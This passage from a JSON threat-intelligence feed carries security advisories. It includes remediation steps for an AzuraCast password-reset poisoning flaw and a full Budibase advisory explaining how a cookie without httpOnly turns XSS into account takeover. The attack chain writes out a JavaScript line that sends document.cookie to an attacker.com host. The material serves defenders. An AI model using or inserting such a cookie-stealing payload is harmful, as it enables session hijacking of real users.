configured \u003ccode\u003ebase_url\u003c/code\u003e setting rather than the request-derived URL to ensure the correct domain is used in the reset email (Fix 2).\u003c/li\u003e\n\u003cli\u003eDeploy the following Sigma rule to detect suspicious requests to the \u003ccode\u003e/forgot\u003c/code\u003e endpoint with a non-standard \u003ccode\u003eX-Forwarded-Host\u003c/code\u003e header to identify potential exploitation attempts.\u003c/li\u003e\n\u003cli\u003eRemove the line \u003ccode\u003e$user-\u0026gt;two_factor_secret = null;\u003c/code\u003e from \u003ccode\u003eLoginTokenAction.php:75\u003c/code\u003e to prevent 2FA from being disabled during password reset, requiring a separate, explicit flow for 2FA recovery (Fix 3).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-azuracast-account-takeover/","summary":"AzuraCast is vulnerable to password reset poisoning due to unconditionally trusting the X-Forwarded-Host header, allowing an attacker to inject a malicious host into the password reset URL, exfiltrate the reset token, reset the victim's password, and disable 2FA, leading to account takeover.","title":"AzuraCast Account Takeover via X-Forwarded-Host Poisoning","url":"https://feed.craftedsignal.io/briefs/2024-01-azuracast-account-takeover/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Budibase (versions prior to 3.35.10)"],"_cs_severities":["high"],"_cs_tags":["xss","account takeover","jwt","cookie"],"_cs_type":"advisory","_cs_vendors":["Budibase"],"content_html":"\u003cp\u003eBudibase, a low-code platform, is vulnerable to account takeover due to the insecure configuration of its authentication cookie. The \u003ccode\u003ebudibase:auth\u003c/code\u003e cookie, which stores the JWT session token, is set without the \u003ccode\u003ehttpOnly\u003c/code\u003e flag. This allows JavaScript, including malicious scripts injected via Cross-Site Scripting (XSS) vulnerabilities like GHSA-gp5x-2v54-v2q5, to access the cookie\u0026rsquo;s contents.  An attacker exploiting this can steal the JWT and use it to impersonate the victim, gaining persistent access to their account.  Furthermore, the cookie lacks the \u003ccode\u003esecure\u003c/code\u003e and \u003ccode\u003esameSite\u003c/code\u003e attributes, exacerbating the risk. This vulnerability affects all Budibase deployments running versions prior to 3.35.10, as the insecure cookie configuration is hardcoded in the backend.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker identifies a Budibase instance running a vulnerable version (prior to 3.35.10).\u003c/li\u003e\n\u003cli\u003eAttacker exploits an existing XSS vulnerability, such as the stored XSS via unsanitized entity names (GHSA-gp5x-2v54-v2q5).\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious JavaScript payload designed to read the \u003ccode\u003ebudibase:auth\u003c/code\u003e cookie using \u003ccode\u003edocument.cookie\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe injected JavaScript executes within the victim\u0026rsquo;s browser when they interact with the application (e.g., viewing an entity with a malicious name).\u003c/li\u003e\n\u003cli\u003eThe malicious script retrieves the JWT session token from the \u003ccode\u003ebudibase:auth\u003c/code\u003e cookie.\u003c/li\u003e\n\u003cli\u003eThe script exfiltrates the stolen JWT to an attacker-controlled server, for example, by sending it as a URL parameter in an image request: \u003ccode\u003enew Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the stolen JWT to authenticate to the Budibase application, bypassing normal login procedures.\u003c/li\u003e\n\u003cli\u003eThe attacker gains persistent access to the victim\u0026rsquo;s account and can perform actions as the victim, including accessing sensitive data, modifying application configurations, and creating new malicious entities.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe lack of the \u003ccode\u003ehttpOnly\u003c/code\u003e flag on the \u003ccode\u003ebudibase:auth\u003c/code\u003e cookie transforms every XSS vulnerability in Budibase into a critical account takeover risk. Attackers can persistently compromise user accounts, leading to potential data breaches, unauthorized application modifications, and further propagation of malicious content. This impacts all Budibase deployments running vulnerable versions, potentially affecting a wide range of organizations using the platform for their internal applications and workflows. The vulnerability allows attackers to bypass authentication controls and gain full control over compromised accounts.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Budibase to version 3.35.10 or later to address the insecure cookie configuration in \u003ccode\u003epackages/backend-core/src/utils/utils.ts\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eDeploy the following Sigma rule to detect potential JWT theft attempts via unusual network connections originating from the browser.\u003c/li\u003e\n\u003cli\u003eReview and remediate all existing XSS vulnerabilities within your Budibase applications, as they can now lead to full account takeover.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-02T12:00:00Z","date_published":"2024-01-02T12:00:00Z","id":"/briefs/2024-01-budibase-account-takeover/","summary":"The `budibase:auth` cookie in Budibase is set without the `httpOnly` flag, enabling attackers with XSS to steal JWTs and gain persistent access to user accounts.","title":"Budibase XSS Leads to Account Takeover via JWT Theft","url":"https://feed.craftedsignal.io/briefs/2024-01-budibase-account-takeover/"}],"language":"en","title":"CraftedSignal Threat Feed — Account Takeover","version":"https://jsonfeed.org/version/1.1"}